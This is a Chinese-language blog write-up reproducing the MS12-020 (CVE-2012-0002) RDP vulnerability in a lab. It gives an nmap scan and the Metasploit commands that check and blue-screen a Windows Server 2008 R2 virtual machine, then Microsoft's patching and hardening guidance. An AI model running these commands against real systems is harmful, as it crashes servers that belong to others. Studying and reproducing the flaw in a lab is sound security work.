蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)

前言

        本章节是我在进行对靶机发动蓝屏攻击的实战时的学习笔记,希望能够帮到大家,也希望能有大佬来多多指点一二,相互学习,相互交流!我会尽量的把步骤细致化,这也算是作为学习漏洞利用的一个笔记。

简介

漏洞的范围是什么

这是一个远程代码执行漏洞。

导致漏洞的原因是什么 

当远程桌面协议处理一系列特制数据包时,导致访问内存中未正确初始化或删除的对象时,会导致此漏洞。

是否默认启用远程桌面

否,默认情况下不启用用于管理的 RDP。 但是,仍会向未启用 RDP 的客户提供此更新,以帮助确保其系统受到保护。

什么是远程桌面服务的网络级别身份验证

网络级别身份验证是一种身份验证方法,可用于在创建会话之前要求用户对 RD 会话主机服务器进行身份验证,从而增强 RD 会话主机服务器的安全性。

远程桌面协议漏洞的缓解因素 - CVE-2012-0002

缓解是指以默认状态存在的设置、常见配置或常规最佳做法,可降低利用漏洞的严重性。 以下缓解因素可能对你的情况有所帮助:

  • 默认情况下,不会在任何 Windows 操作系统上启用远程桌面协议。 未启用 RDP 的系统没有风险。 请注意,在 Windows XP 和 Windows Server 2003 上,远程协助可以启用 RDP。
  • 防火墙最佳做法和标准默认防火墙配置可帮助保护网络免受源自企业外围外部的攻击。 最佳做法建议直接连接到 Internet 的系统公开的端口数量最少。

MS12-020蓝屏漏洞

漏洞名:MS12-020(全称:Microsoft windows远程桌面协议RDP远程代码执行漏洞)

介绍:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行。 然后控制系统。

原理

         MS12-020漏洞针对于windows xp和windows sever 2003等系统。攻击者通过该漏洞对目标主机进行攻击,可导致目标主机蓝屏。

        ms12-020漏洞是指操作系统的远程桌面协议存在重大漏洞,入侵者可以通过向远程桌面默认端口(3389)发一系列特定RDP包,从而获取超级管理员权限,进而入侵系统,因此3389成为突破口。
        远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或'本地计算机')连上提供微软终端机服务的计算机(称为服务端或'远程计算机')。

大部分的Windows版本都有用户端所需软件,有些其他操作系统也有这些用户端软件,例如Linux,FreeBSD,MacOSX,服务端计算机方面,则听取送到TCPport3389的数据。

RDP协议

        RDP,Remote Desktop Protocol,远程桌面协议,是一个多通道(mutil-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows、Linux、FreeBSD、Mac OS X都有相应的客户端。服务端听取送到 TCP 3389 端口的数据。

        windows从NT开始提供终端服务,它是微软买来的网络协议技术(Citrix),服务器端要安装、配置,客户端要连接程序。终端服务使任何一台有权限的终端机,用已知的账号登录服务器,可以使用账号内的资源,包括软件,硬件资源;同时,在协议升级后,客户端连接后可以使用本地的资源,包括本地打印机、声音本地回放,本地磁盘资源和本地硬件接口。所有的计算都在服务器端进行,客户端只需要处理网络连接、接收数据、界面显示和设备数据输出。目前,关于RDP服务的linux客户端程序有winconnect,linrdp,rdesktop,前两个没有源码,但redsktop已经由原来的个人开发后公开代码演变成现在的项目组开发。

攻击方式

       远程桌面协议访问内存中未正确初始化或已删除的对象的方式存在远程代码执行漏洞。 成功利用此漏洞的攻击者可以在目标系统上运行任意代码。 然后,攻击者可能会安装程序、查看更改项或删除数据,还可能会使用完全用户权限创建新的帐户。


攻击者如何利用此漏洞

        对于运行受支持的 Windows XP 和 Windows Server 2003 版本的系统,未经身份验证的远程攻击者可以通过向目标系统发送一系列特制 RDP 数据包来利用此漏洞。

        对于运行支持版本的 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 且网络级别身份验证关闭的系统,未经身份验证的远程攻击者可以通过向目标系统发送一系列特制 RDP 数据包来利用此漏洞。

       对于运行支持版本的 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 且已启用网络级别身份验证的系统,攻击者首先需要使用目标系统上的有效帐户向远程桌面服务进行身份验证。 然后,攻击者可以通过向目标系统发送一系列特制 RDP 数据包来利用此漏洞。

攻击者可能利用漏洞执行哪些操作

        成功利用此漏洞的攻击者可以完全控制受影响的系统。 然后,攻击者可能会安装程序、查看更改项或删除数据,还可能会使用完全用户权限创建新的帐户。

现在它的基本概况我们已经初步掌握,我们直接来到实战环节。

实战阶段

漏洞复现环境部署

靶机,攻击机

攻击机:kali Linux  192.168.137.186
靶机:Windows server 2008 R2 192.168.137.127
网络环境:虚拟局域网(内网) 192.168.137.0

这里相信大家已经知道怎么查看两台系统的IP了,我就直接跳过了。

蓝屏攻击编号

CVE-2012-0002

MS12-020

复现过程

扫描

按照国际惯例,拿到IP先扫描。这里我使用nmap来对目标靶机进行扫描,我们已经知道了靶机存在MS12-020漏洞,但是为了刚开始学习网络安全的小伙伴来说,我们还是按照一个复现的完整过程来操作。

nmap --script=vuln 192.168.137.127 -v -sV  

扫描结果:

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第1张图片

这里我不知道是哪种情况,没有扫出来精准的编号,那我们只能通过端口开放来判断,Windows的RDP协议是默认占用3389端口,我们可以扫描3389端口来进行服务识别。文章结尾我会教大家怎么更换端口和防御的事项。

我们直接进入利用阶段。

MSF漏洞利用

老规矩,附上使用的命令:

msfconsole  ##进入MSF控制台
search ms12-020  ##搜索MS12-020漏洞编号
use 0  ##使用第一个模块进行验证
show options  ##看参
set rhosts ##设置目标靶机的IP 
back 1  ##退出这个模块
use 1  ##使用第一个模块
set rhosts ##设置目标IP
run ##执行

搜索漏洞编号,利用。

search ms12-020
use 0

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第2张图片

查看,设置必须参数

show options

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第3张图片

set rhosts 192.168.137.127

开始使用验证模块对目标靶机进行验证,是或否存可利用该漏洞

run

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第4张图片

这里提示靶机的确存在该漏洞,可以进行漏洞利用。

退出当前漏洞验证模块,使用攻击载荷模块。

back 1
use 1

还是看参数,设置参数。

show options
set rhosts 192.168.137.127

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第5张图片

执行

run

执行成功结果:

蓝屏攻击CVE-2012-0002漏洞复现(MS12-020)_第6张图片

靶机桌面:

漏洞复现结束。

没有成功的原因分析(不一定完全)

靶机设置

需要开启远程桌面服务,Windows server系统需要在服务器面板添加角色中安装远程桌面服务,在同意允许他人远程协助本机即可。

防火墙如果进行过加固练习,需要还原防火墙设置或关闭防火墙

攻击机设置

一般是端口占用,在msf操作台更换服务端的端口即可(msf模块默认都是用4444端口),

set lport 4433 ##设置一个没有被占用的端口即可

可能遭受蓝屏攻击的范围

windows xp 、2003、2008,该漏洞针对于3389的远程桌面服务,并不是操作系统。

安全加固方案

打补丁(来自微软官方发布)

及时下载来自微软官方发布的补丁包>>>>点此跳转<<<<

手工加固(短时间)
  1. 设置防火墙禁用端口或者关闭远程桌面
  2. 若需使用,对防火墙配置策略,允许白名单IP访问远程桌面。
来自微软官方的建议:

解决方法是指设置或配置更改,该设置或配置更改不会纠正基础漏洞,但有助于在应用更新之前阻止已知的攻击途径。 Microsoft 测试了以下解决方法,并在讨论中指出解决方法是否降低了功能:

  • 禁用终端服务、远程桌面、远程协助和 Windows Small Business Server 2003 远程 Web 工作区功能(如果不再需要)

    如果系统上不再需要这些服务,请考虑禁用它们作为安全最佳做法。 禁用未使用和不需要的服务有助于减少安全漏洞的风险。

    有关如何手动禁用远程桌面的信息,请参阅 禁用远程桌面。

    有关如何使用 组策略 禁用远程桌面的信息,请参阅 Microsoft 知识库文章 306300。

    有关远程协助的信息,包括有关如何手动禁用远程协助和使用组策略的说明,请参阅 TechNet 文章远程协助。

    有关如何禁用 Windows Small Business Server 2003 终端服务和远程 Web 工作区功能的信息,请参阅 TechNet 文章 保护 Windows Small Business Server 2003 网络。
     

  • 在企业外围防火墙处阻止 TCP 端口 3389

    TCP 端口 3389 用于启动与受影响组件的连接。 在网络外围防火墙处阻止此端口将有助于保护位于该防火墙后面的系统免受利用此漏洞的尝试。 这有助于保护网络免受源自企业外围外部的攻击。 在企业外围阻止受影响的端口是帮助避免基于 Internet 的攻击的最佳防御措施。 但是,系统仍可能容易受到来自其企业外围的攻击。

    此外,在 Windows XP 和 Windows Server 2003 上,Windows 防火墙可以帮助保护各个系统。 默认情况下,Windows 防火墙不允许连接到此端口,但 Windows XP Service Pack 2 中启用了远程桌面功能时除外。 有关如何在这些平台上禁用远程桌面的 Windows 防火墙例外的信息,请参阅 TechNet 文章 启用或禁用远程桌面防火墙规则。 如果无法禁用远程桌面的 Windows 防火墙例外,则可以通过将所有计算机的默认值(包括 Internet) 上的计算机)设置为本地网络来缩小此漏洞的范围 (。 这样做有助于减少来自 Internet 的攻击的可能性。

    注意 Windows Small Business Server 2003 使用名为 Remote Web Workplace 的功能。 此功能使用 TCP 端口 4125 侦听 RDP 连接。 如果使用此功能,则除了端口 3389 之外,还应验证此端口是否还被阻止从 Internet 访问。

    注意 可以手动更改受影响的组件以使用其他端口。 如果已执行这些操作,则还应阻止这些附加端口。
     

  • 在运行受支持的 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 版本的系统上启用网络级别身份验证

    可以启用网络级别身份验证来阻止未经身份验证的攻击者利用此漏洞。 启用网络级别身份验证后,攻击者首先需要使用目标系统上的有效帐户向远程桌面服务进行身份验证,然后攻击者才能利用该漏洞。

    若要使用网络级别身份验证,环境必须满足以下要求:

    • 客户端计算机必须至少使用远程桌面连接 6.0。
    • 客户端计算机必须使用支持凭据安全支持提供程序 (CredSSP) 协议的操作系统,例如 Windows 7 或 Windows Vista。
    • RD 会话主机服务器必须运行 Windows Server 2008 R2 或 Windows Server 2008。
    若要为连接配置网络级别身份验证,请执行以下步骤:
    1. 在 RD 会话主机服务器上,打开“远程桌面会话主机配置”。 若要打开远程桌面会话主机配置,请单击“ 开始”,指向 “管理工具”,指向 “远程桌面服务”,然后单击“ 远程桌面会话主机配置”。
    2. 在“连接”下,右键单击连接的名称,然后单击“属性”。
    3. 在“常规”选项卡上,选择“仅允许来自运行具有网络级别身份验证的远程桌面的计算机的连接检查框。
      如果选中“仅允许使用网络级别身份验证检查运行远程桌面的计算机进行连接”框且未启用,则已启用“要求使用网络级别身份验证组策略对远程连接进行用户身份验证”设置,并已应用于 RD 会话主机服务器。
    4. 单击“确定”。
    解决方法的影响。 不支持凭据安全支持提供程序 (CredSSP) 协议的客户端计算机无法访问受网络级别身份验证保护的服务器。 

    结尾

本章节的内容到这里就结束了,我们详细的展示和列举了漏洞复现的过程和该怎么安全加固自己的服务器,希望对大家有所帮助,感谢大家的支持!

你可能感兴趣的:(系统服务安全,漏洞利用学习,安全,网络安全,计算机网络,系统安全,安全威胁分析,服务器)